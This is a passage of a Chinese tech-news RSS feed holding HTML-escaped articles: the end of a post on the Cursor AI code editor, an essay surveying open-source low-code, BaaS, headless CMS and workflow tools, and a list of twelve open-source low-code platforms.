src="https://blog.didispace.com/images2/202303/tj-ai-code-cursor/1679914734566.png"&gt;&lt;/img&gt;  &lt;/p&gt; &lt;h2&gt;  &lt;a href="https://blog.didispace.com/#&amp;#35299;&amp;#37322;&amp;#20195;&amp;#30721;" title="&amp;#35299;&amp;#37322;&amp;#20195;&amp;#30721;"&gt;&lt;/a&gt;解释代码&lt;/h2&gt; &lt;ol&gt;  &lt;li&gt;   &lt;p&gt;选中你看不懂的代码，按快捷键cmd + L&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;说出你的疑问，AI在右侧就会给出解释&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;  &lt;img alt="" src="https://blog.didispace.com/images2/202303/tj-ai-code-cursor/1679914746897.png"&gt;&lt;/img&gt;  &lt;/p&gt; &lt;p&gt;这功能也许非常实用吧，毕竟我们每天都在维护屎山，有了这根搅屎棍的帮助，也许屎山啃起来可以容易一些了吧！&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;欢迎扫描下方二维码，关注公众号：TJ君，订阅每日推荐，获取更多好用效率工具！&lt;/strong&gt;&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62706-openai-%E4%BB%A3%E7%A0%81-%E7%BC%96%E8%BE%91</guid>
      <pubDate>Mon, 27 Mar 2023 18:56:59 CST</pubDate>
    </item>
    <item>
      <title>什么是比较好的低代码产品 - Tw93</title>
      <link>https://itindex.net/detail/62638-%E4%BB%A3%E7%A0%81-%E4%BA%A7%E5%93%81-tw93</link>
      <description>&lt;div&gt;    &lt;h1&gt;什么是比较好的低代码产品&lt;/h1&gt;    &lt;h4&gt;Categories:  Technology2023-01-02      &lt;div&gt;        &lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/h4&gt;    &lt;h2&gt;随便扯扯&lt;/h2&gt;    &lt;p&gt;可能大家谈到低代码想到更多的是低代码搭建页面的平台，内部不少也是此种，其实对于偏逻辑编排、服务 BaaS 能力的偏可视化方式其实也算低代码，旨在「      &lt;strong&gt;通过少写代码，用更便捷的方式来实现原本需写代码的工作&lt;/strong&gt;」。&lt;/p&gt;    &lt;p&gt;说到低代码，喜欢的人特别喜欢，不喜欢的人很不喜欢，此外也有“假装”去喜欢的，也有喜欢得不明不白的，我现在对于低代码是有点儿喜欢的那种，不过只限于「      &lt;strong&gt;在特定领域，实现需求的速度比熟练工程师写代码要快的场景&lt;/strong&gt;」，这种场景下用起来真心会比较爽，可能也用得不爽的时候，但是这种不爽远小于他带来的效益减去原本敲代码的投入，也很值得将这类产品做到好用爱用。&lt;/p&gt;    &lt;p&gt;其实低代码产品是比较难做成的，特别是大而全的那种，由于考虑因素过多，导致步调很慢，也很难做到很易用，导致一边投入很大，一边又急切上线落地使用，从而出现平台方觉得投入很苦，使用方觉得不太好用还需吃狗粮的矛盾，往往需经过忍耐很长时间才可「守得云开见月明」，不过很多都在没有见月明的时候就奄奄一息了。反而专门领域的比如说表单、表格、图表低代码搭建活的很不错。还有一些 BaaS 类单领域的活得也还可以，我个人更偏向「      &lt;strong&gt;易用的可很轻快解决对应领域问题低代码产品方案&lt;/strong&gt;」。&lt;/p&gt;    &lt;p&gt;此外还有一个误区，有人会认为低代码是给所有工程师都可以使用的，其实我认为不太对，低代码最开始出现的初衷是为了解决「      &lt;strong&gt;让不是程序员的人使用视图、组件、模板和表单等方式快速在不写代码情况下构建应用&lt;/strong&gt;」，这里我们可以引申一下，低代码更适合两类场景，一类是「      &lt;strong&gt;让不是这个领域的人也可以很快的写这个领域的应用&lt;/strong&gt;」，第二类是「      &lt;strong&gt;在特定领域通过抽象协议模型通过低代码的方式来快速实现产品&lt;/strong&gt;」。&lt;/p&gt;    &lt;p&gt;这里不多扯低代码的优缺点和喜好了，关于低代码产品内部已经有不少，也都比较熟，这里就不多加说明了，刚好最近在思考团队下一步的提效方式，      &lt;strong&gt;我们来看看业界开源的低代码产品，说不定会有一些输入&lt;/strong&gt;。&lt;/p&gt;    &lt;h2&gt;一体化的低代码平台&lt;/h2&gt;    &lt;p&gt;一体化也即从后端到前端的实现全部给包括了，说实话，我认为这种是最难做的，特别在大公司里面，假如各司其职，同时多个团队协作的话比较难做起来，因为各方的标准协议、数据库模型结构均很难一致，但是假如前端、后端均在一个团队，有一整套统一的模型协议，还是有可能做成的，比如说如下这两个产品。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/appsmithorg/appsmith"&gt;Appsmith&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;Appsmith 是一个用于构建内部应用的低代码开源框架，一个印度的创业公司弄的，很适合做企业后台管理系统，常用的 CRUD、Dashboards、数据报表啥的不在话下，Appsmith 有一种      &lt;a href="https://retool.com/"&gt;Retool&lt;/a&gt;“开源版”的感觉。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/gVjjkM.svg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;在使用上和常规的开发套路很像，第一步画 UI 界面，第二步连接到数据源，第三步将数据源和 UI 界面串起来，第四步部署，只不过将原有编码过程变成了可视化过程。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/LRvKll.gif" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;此外还提供了大量的模板可供使用，包括 Project、Management Support、Human Resources、Sales、Marketing、Finance 等方向，有些思路对于不少低代码方向有一定参照作用。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/Budibase/budibase"&gt;Budibase&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;Budibase 官方宣称是一个你会喜欢使用的低代码平台，通过简单易用的方式来提高构建一个应用的速度。和 Appsmith 相比，是另外一种实现方式，此外 Budibase 有内置数据库、外部数据源、设计图形用户界面和自动化部分，在创建 UI 界面的使用使用的是偏设计的方式，整体而言会更加美观一点。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/bDoZda.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/ToolJet/ToolJet"&gt;ToolJet&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;此外 ToolJet 也是一个不错的低代码框架，同样支持接入多种数据源，偏拖拽的方式实现前端的界面，包括对于 mobile 端的一些支持，此外使用的是 JS 比较友好。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/9eo9NR.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;除去上面外，      &lt;a href="https://github.com/nocobase/nocobase"&gt;nocobase&lt;/a&gt;、      &lt;a href="https://github.com/illacloud/illa-builder"&gt;illa-builder&lt;/a&gt;和      &lt;a href="https://github.com/refinedev/refine"&gt;refine&lt;/a&gt;这三款也可以去调研调研。&lt;/p&gt;    &lt;h2&gt;BaaS 领域的低代码&lt;/h2&gt;    &lt;p&gt;BaaS (Backend as a Service) 这个概念我是从 2019 年开始弄 Serverless 的时候开始了解到的，当时想着要是有很多好用的 BaaS 能力，那写 FaaS 函数会不知道有多爽。&lt;/p&gt;    &lt;p&gt;对于想快速实现一个产品而言，使用 BaaS，开发人员可以专注于前端开发，而无需花费大量时间和精力来构建和维护后端基础设施，这使得开发人员能够快速构建应用程序，更快地将其推向市场。不过这一块当前在国内其实弄得没有国外那么好用和精致，国外有几个还不错的。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/supabase/supabase"&gt;Supabase&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;Supabase 是一个开源工具的组合，使用企业级的开源产品构建 Firebase 的功能。Firebase 是谷歌旗下的一家 BaaS 云服务公司，可以让开发者通过 Firebase 的框架就可以简单地开发一个 App，无需服务器以及基础设施。了解了他是啥，就大概知晓 Supabase 是什么了。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/XppYbm.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;主要功能是提供了数据库托管、身份验证和授权、自动生成 API、函数服务、文件存储等易用能力，相当于这些代码的实现使用者都不需要写了，只需去调用即可，此外提供了 JS/C#/Flutter/Go/Java/Python/Swift/Rust 等客户端库来供使用，更多可见      &lt;a href="https://supabase.com/docs"&gt;文档&lt;/a&gt;。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/NiGx5z.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/appwrite/appwrite"&gt;Appwrite&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;除去 Supabase，Appwrite 也是一个很有名的完整后端服务能力，可以当做他的竞品，功能差不多，通过视觉化界面极简了从零编写 API 的繁琐过程，在保证软件安全的前提下为开发者创造了一个高效的开发环境。基于 Docker 的端到端开发者平台，其容器化的微服务库可应用于网页端，移动端，以及后端。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/045fTb.png" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;提供对应的软件服务，如账户、用户、团队、数据库、存储、云函数、多语言、头像等通用能力，并搭配对应客户端或服务端的开发套件，使用微服务架构方式让其更好扩展。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/8Wp6qC.svg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;此外在数据库领域还有一个叫做      &lt;strong&gt;        &lt;a href="https://github.com/surrealdb/surrealdb"&gt;SurrealDB&lt;/a&gt;&lt;/strong&gt;的端到端的云原生数据库，适用于 Web、移动端、无服务器、后端和传统应用程序，通过简化数据库和 API 调用来减少现代应用程序的开发时间，消除对大多数服务器端组件的需求。&lt;/p&gt;    &lt;h2&gt;Headless CMS&lt;/h2&gt;    &lt;p&gt;敲代码快 10 年的后端同学应该对 Discuz、DedeCMS、WordPress 这种当时很火的框架很熟悉，还记得大学时期经常用 DedeCMS 去接商业项目，很快很爽。现在这一类偏后端解决方案进一步发展，变得更加简单、美观、好用了，这里简单介绍一下 Strapi 类的无头 CMS，简单而言就是只提供数据的内容管理系统，不关注 UI，内容优先。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/strapi/strapi"&gt;Strapi&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;Strapi 是开源的无头 CMS，使用 JavaScript，很灵活完全可定制，支持不少插件，可以很快的生成一条 REST API 服务，整体使用起来对于前端同学来言还是比较熟悉的，可以一试。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/IviIfL.gif" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/cube-js/cube.js"&gt;Cube&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;Cube 是一个用于构建数据应用程序的 Headless 商业智能框架，使用任何来源的数据，将其组织成一致的指标，并将其用于每个数据应用程序。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/LhZJs7.png" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;此外除去 Strapi 、Cube 这两个比较有名的 Headless CMS，你还可以试试      &lt;a href="https://github.com/payloadcms/payload"&gt;payload&lt;/a&gt;、      &lt;a href="https://github.com/webiny/webiny-js"&gt;webiny-js&lt;/a&gt;这两个。&lt;/p&gt;    &lt;h2&gt;流程编排&lt;/h2&gt;    &lt;p&gt;看起来不少公司都有自己的服务编排的平台，对于大一点的厂，可能每一个 BU 都有一个，不过整体而言都很难做到好用，同时很难讲明白「服务编排比写代码要快要方便」这个点，大多数前期很热闹，中期很平稳，后期很难玩下去，任重而道远，不过很期待正在做的同学能够到达「守得云开见月明」，把这一块能力探得更深一点。&lt;/p&gt;    &lt;p&gt;不过在一些特定工作流领域，有做得不错的，比如说 Automate 和 n8n 这两个工具，对于流程编排的建设可以参考一波。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/AutomaApp/automa"&gt;Automa&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;Automa 是一个浏览器自动化工作流的浏览器扩展，使用连接块的方式来很方便的编排你的常用操作，有自动填充表单、截图、取数据、定时触发、操作浏览器、Web 交互等能力，可以将你重复的操作很好的交给这个工具，好比快捷指令。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/7lTSua.gif" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;他做得比较好的点是很易于使用，同时提供了不少开箱即用的能力，让人很快速就完成自己的需求。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/n8n-io/n8n"&gt;n8n&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;n8n 是一个可扩展的工作流自动化工具，看了看对于做流程性的节点编排，逻辑控制还是很不错的，此外支持基于代码自部署。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/eZ0K1t.png" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h2&gt;其他奇特的&lt;/h2&gt;    &lt;p&gt;除去上面常用的低代码能力，还有三个很神器的，其实不少人常用的 Notion 笔记本身也是一个低代码工具，与之对应的开源实现叫 AppFlowy，还有一种通过编写配置 DSL Json 的方式来构建各个部分的功能的开源产品叫做 YAO，最后还有一种是      &lt;a href="https://www.airtable.com/"&gt;Airtable&lt;/a&gt;模式的开源方式 NocoDB。&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/AppFlowy-IO/AppFlowy"&gt;AppFlowy&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;如上所说，其实弄低代码的同学，很有必要去玩玩 Notion，已经被大量人玩出了花，此外可以试试这个开源的 AppFlowy，基于此，可以来看如何控制数据到界面的这个展示过程。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/LOFHaV.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/YaoApp/yao"&gt;YAO&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;YAO 是一款开源应用引擎，使用 Golang 编写，以一个命令行工具的形式存在, 下载即用。适合用于开发业务系统、网站/APP API 接口、管理后台、自建低代码平台等。YAO 采用 flow-based 的编程模式，通过编写 YAO DSL (JSON 格式逻辑描述) 或使用 JavaScript 编写处理器，实现各种功能。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/SpKs8N.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;去年第一次见到 YAO 的时候，就被他的创新思路给吸引了，此外他自带的界面能力设计很不错，整体安装体验很顺畅，对于他的产品实现对于想做协议驱动的同学应该有不少借鉴作用。比如说下面这个系统居然是用 JSON 配置给写出来的，包括 UI 的展示。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/n2J5a3.gif" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h3&gt;      &lt;a href="https://github.com/nocodb/nocodb"&gt;NocoDB&lt;/a&gt;&lt;/h3&gt;    &lt;p&gt;NocoDB 是      &lt;a href="https://www.airtable.com/"&gt;Airtable&lt;/a&gt;的一个开源替代品。Airtable 是啥呢？Airtable 是一个电子表格-数据库混合体，它具有数据库的功能，但实际上是电子表格，还可以把 文字、图片、链接、文档等各种资料整合在一起。反向来看 Notion 的大思路差不多，不过这个是重协作的使用场景。&lt;/p&gt;    &lt;p&gt;NocoDB 的作用就是将 MySQL、PostgreSQL、SQL Server、SQLite 或 MariaDB 转换为智能电子表格，使用场景可以参考下面 gif，还是挺有想象空间的。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://cdn.fliggy.com/upic/7mUPKT.gif" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;此外还有一个类 Airtable 领域的新起之秀叫做      &lt;strong&gt;        &lt;a href="https://github.com/apitable/apitable"&gt;ApiTable&lt;/a&gt;&lt;/strong&gt;，刚开源不久，整体而言做的比较精致，很推荐一玩，可以去研究研究。      &lt;img src="https://cdn.fliggy.com/upic/JmDgxL.gif" width="800"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;h2&gt;最后&lt;/h2&gt;    &lt;p&gt;只能低代码说这一块是很卷了，不过找到了对应的场景，同时可以真正解决问题，比原本敲代码要快，那基本上是可以找到一个很好的发展空间。此外文章中有不少是个人自以为的东西，假如发现有不对的，欢迎指出。&lt;/p&gt;    &lt;div&gt;      &lt;a href="https://miaoyan.app/cats.html?name=Blog" target="_blank"&gt;喜欢文章 → 去喂猫❤️&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62638-%E4%BB%A3%E7%A0%81-%E4%BA%A7%E5%93%81-tw93</guid>
      <pubDate>Mon, 27 Feb 2023 07:48:46 CST</pubDate>
    </item>
    <item>
      <title>12款开源的低代码开发平台</title>
      <link>https://itindex.net/detail/62599-%E5%BC%80%E6%BA%90-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91</link>
      <description>&lt;div&gt;  &lt;br /&gt;  &lt;p&gt;      &lt;strong&gt;1、Appsmith 构建和自托管内部应用程序&lt;/strong&gt;&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;许可证：Apache-2.0
开发语言：Java、JavaScript、TypeScript
官网：https://www.appsmith.com/Appsmith 是一个用于构建管理面板、内部工具和仪表板的低代码项目。与超过 15 个数据库和任何 API 集成。构建你需要的一切，速度提高 10 倍。允许你拖放组件来构建仪表板、使用 JavaScript 对象编写逻辑并连接到任何 API、数据库或 GraphQL 源。    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/appsmith &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;  &lt;strong&gt;2、&lt;/strong&gt;    &lt;strong&gt;BudiBase 构建内部工具的开源低代码平台&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：GPLv3
开发语言：JavaScript、TypeScript
官网：https://budibase.com/Budibase 是一个开源的低代码平台，帮助 IT 专业人士在几分钟内在自己的基础架构上构建、自动化和交付内部工具。它专注于为开发人员提供工具，以加快一个平台内的开发、部署和集成过程。    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/budibase &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;   &lt;strong&gt;3、&lt;/strong&gt;    &lt;strong&gt;Baserow 开源 Airtable 替代品&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;    &lt;p&gt;许可证：MIT
开发语言：Python
官网：https://baserow.io/&lt;/p&gt;    &lt;p&gt;Baserow 是一个 Airtable 的开源替代品，是一个开源的在线表格应用，其单元格支持各种各样的数据类型。用户可以使用这个无代码的平台来创建一个数据库，而无需任何开发技能。&lt;/p&gt;    &lt;p&gt;Baserow 是一种用于动态创建、管理数据库和构建数据库应用程序的迷人工具。它具有确保高生产力和可用性的功能。&lt;/p&gt;    &lt;p&gt;因为 Baserow 是一个模块化系统，它提供了一个完整的 REST-API 无头系统，所以它吸引了移动开发人员的注意，将其用作他们应用程序的后端。&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/baserow &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;4、&lt;/strong&gt;    &lt;strong&gt;CUBA-Platform 企业级应用开发平台&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：Apache-2.0
开发语言：Java
官网：https://www.jmix.cn/CUBA 平台是一个面向企业的开源快速应用开发系统。它带有数十种工具作为 IDE、应用程序构建工作室、CLI 命令行界面和可靠的可扩展基础设施。CUBA 平台有一个丰富的插件系统，其中包含一个 BPM（业务流程管理）附加组件，需要花费一些时间来构建和安装。    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/cuba-platform &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;5、&lt;/strong&gt;    &lt;strong&gt;Digdag 多云工作流引擎&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：Apache-2.0
开发语言：Java、JavaScript、Python
官网：https://www.digdag.io/Digdag 是一个简单的工具，帮助你建立、运行、安排和监控复杂的任务管道。它可以处理依赖性问题，使任务串联或并行运行。Digdag 取代了 cron，促进了 IT 运营自动化，协调了数据工程任务，协调了机器学习管道，等等。Digdag 旨在实现易于部署、多云设置和模块化的结构来构建和扩展业务应用。拥有一系列企业功能，包括丰富的管理面板、多语言支持、错误处理、配置工具和版本控制工具。该解决方案采用 Java 和 Node.js 开发，支持 AWS、私有云、IBM 云和 Digital Ocean。项目地址：https://www.oschina.net/p/digdag &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;6、&lt;/strong&gt;    &lt;strong&gt;Jeecg-Boot 基于代码生成器的 J2EE 开发平台&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：Apache-2.0
开发语言：Java、JavaScript
官网：http://www.jeecg.com/JeecgBoot是一款基于BPM的低代码平台！前后端分离架构 SpringBoot 2.x，SpringCloud，Ant Design&amp;amp;Vue，Mybatis-plus，Shiro，JWT，支持微服务。强大的代码生成器让前后端代码一键生成，实现低代码开发。JeecgBoot引领新低代码开发模式 OnlineCoding-&amp;gt; 代码生成器-&amp;gt; 手工MERGE， 帮助Java项目解决70%的重复工作，让开发更多关注业务，既能快速提高效率，节省研发成本，同时又不失灵活性。一系列低代码能力：Online表单、Online报表、Online图表、表单设计、流程设计、报表设计、大屏设计 等等...项目地址：https://www.oschina.net/p/jeecg-boot &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;7、&lt;/strong&gt;    &lt;strong&gt;JEPaaS 低代码快速开发平台&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：AGPL
开发语言：Java
官网：https://www.jepaas.com/JEPaaS 是一款国内实用型低代码快速开发平台，11 年技术沉淀，百余人开发团队不断维护升级，是国内中大型企业信息化御用平台。可视化的开发环境，低代码拖拽式配置开发，操作极其简单，可以大幅度帮助企业缩减人力和时间成本。支持工作流、IM 即时通讯、bi 图表报表、APP 开发、对接微信、钉钉…… 是国内老牌靠谱开发平台。    &lt;br /&gt;    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/jepaas &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;8、&lt;/strong&gt;    &lt;strong&gt;Metabase 公司团队数据分析工具&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：AGPL
开发语言：Clojure、JavaScript、TypeScript
官网：https://www.metabase.com/Metabase 是一个简单、开源的方式，通过给公司成员提问，从得到的数据中进行分析、学习。Metabase 是一个无代码和低代码的开源 (Libre) 项目，它消除了从数据库中获取有洞察力的数据的所有麻烦。它不需要处理 SQL 代码甚至不需要知道任何 SQL 就可以完成很多工作。Metabase 是一个开源的面向数据的可定制仪表板，支持广泛的数据库后端，如 MongoDB、MySQL、PostgreSQL、SQL Server、Oracle 等。它提供了一个用于管理数据库记录、操作数据、操作记录的可视化方法、支持连接、多重聚合、高级过滤和全文搜索的层。它是在几分钟内为企业创建具有高生产力和可用性的高效数据库就绪仪表板的终极解决方案。    &lt;br /&gt;    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/metabase &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;9、&lt;/strong&gt;    &lt;strong&gt;OpenXava Java 快速 Web 开发套件&lt;/strong&gt;许可证：LGPL
开发语言：Java
官网：https://www.openxava.org/OpenXava 是一个低代码应用程序构建平台，主要关注生产力、简单性和可用性。作为一个使用 Java 技术构建的跨平台系统，它运行在 Linux 和 Windows 服务器上。它可能看起来像一个遗留系统（stated 2005），但它仍然是许多企业的首选。OpenXava 确保了高生产力、较短的功能学习曲线、大量的企业功能以及完整的移动和平板电脑响应式布局。OpenXava 是一个免费的开源社区版，但企业可以购买不同的额外功能版本。    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/openxava &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;10、&lt;/strong&gt;    &lt;strong&gt;Saltcorn 无代码数据库管理器 Web 应用程序&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：MIT
开发语言：Python、JavaScript
官网：https://saltcorn.com/Saltcorn 是一个无代码数据库管理器 Web 应用程序。它是一个完整的端到端解决方案，适用于你的应用程序的前端、后端和数据库，它以直观的点选、拖放用户界面管理你的应用程序生命周期的构建和托管阶段。它配备了一个引人注目的仪表板、丰富的生态系统和视图构建器以及可主题化的界面。几乎没有编码经验的用户可以在几分钟内构建一个丰富的交互式数据库应用程序。公司也可以使用它来创建日常使用的工具并即时重新塑造它们。Saltcorn 有一个令人印象深刻的示例应用程序列表，其中包括：博客、地址簿、项目管理系统、问题跟踪器、wiki、团队管理等。    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/saltcorn &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;11、&lt;/strong&gt;    &lt;strong&gt;Skyve 业务软件构建平台&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：LGPL
开发语言：Java、JavaScript、TypeScript
官网：https://skyve.org/Skyve 是一个开源的业务软件构建平台。它支持无代码和低代码的快速应用开发。支持不同的数据库引擎：MySQL、SQL 服务器和 H2 数据库引擎。其开发人员目前正在努力支持 PostgreSQL 和 Oracle。Skyve 提供了丰富的 API 集，以及低代码开发应用构建向导。项目地址：https://www.oschina.net/p/skyve &lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;    &lt;strong&gt;12、&lt;/strong&gt;    &lt;strong&gt;ToolJet 低代码框架&lt;/strong&gt;    &lt;img&gt;&lt;/img&gt;许可证：GPL-3.0
开发语言：JavaScript、TypeScript
官网：https://www.tooljet.com/ToolJet 是一个开源的低代码框架，无需工程团队付出太多努力即可快速构建和部署内部工具。你可以连接到你的数据源，例如数据库（如 PostgreSQL、MongoDB、Elasticsearch 等）、API 端点（ToolJet 支持导入 OpenAPI 规范和 OAuth2 授权）和外部服务（如 Stripe、Slack、Google Sheets、Airtable）并使用预先构建的 UI 小部件来构建内部工具。    &lt;img&gt;&lt;/img&gt;项目地址：https://www.oschina.net/p/tooljet    &lt;hr&gt;&lt;/hr&gt;    &lt;br /&gt;本文所述软件已收录至 Awesome 软件集锦：https://www.oschina.net/project/awesome?columnId=40    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;img&gt;&lt;/img&gt;       &lt;a href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzA4OTI5NjUwOA==&amp;action=getalbum&amp;album_id=2461349039221817346#wechat_redirect" target="_blank"&gt;往期查看&lt;/a&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;往期推荐&lt;/p&gt;    &lt;br /&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;h1&gt;      &lt;a href="http://mp.weixin.qq.com/s?__biz=MjM5NzM0MjcyMQ==&amp;mid=2650171362&amp;idx=1&amp;sn=a57e4f548fe35368c1717050f42f3ebb&amp;chksm=bed9bc8c89ae359aee9ea69d0bc7cac81e97e65cf3c627e0fa0b6996bfcb8de93b5d6c217914&amp;scene=21#wechat_redirect" target="_blank"&gt;macOS占比超Linux&lt;/a&gt;      &lt;br /&gt;&lt;/h1&gt;    &lt;h1&gt;      &lt;a href="http://mp.weixin.qq.com/s?__biz=MjM5NzM0MjcyMQ==&amp;mid=2650171320&amp;idx=1&amp;sn=94ccf5e5f01c538f7255682dea76a5d4&amp;chksm=bed9bcd689ae35c0039908534b80b6caad8b07c1603c57f4a397fee0b599c4cf75db8818249e&amp;scene=21#wechat_redirect" target="_blank"&gt;Shopify开发团队放弃Ruby，改用Node重写CLI工具&lt;/a&gt;&lt;/h1&gt;    &lt;a href="http://mp.weixin.qq.com/s?__biz=MjM5NzM0MjcyMQ==&amp;mid=2650171349&amp;idx=1&amp;sn=62ad28a2bce4f5f3a0c1a7fa2d44f250&amp;chksm=bed9bcbb89ae35addd93c1ecba6562d523a39fd10cf128bdbefaa9a472ffa25c488bd99d88fc&amp;scene=21#wechat_redirect" target="_blank"&gt;庆祝40周年，CHM公开Apple Lisa源代码&lt;/a&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;br /&gt;    &lt;p&gt;这里有最新开源资讯、软件更新、技术干货等内容&lt;/p&gt;    &lt;p&gt;点这里 ↓↓↓ 记得 关注✔ 标星⭐ 哦&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;
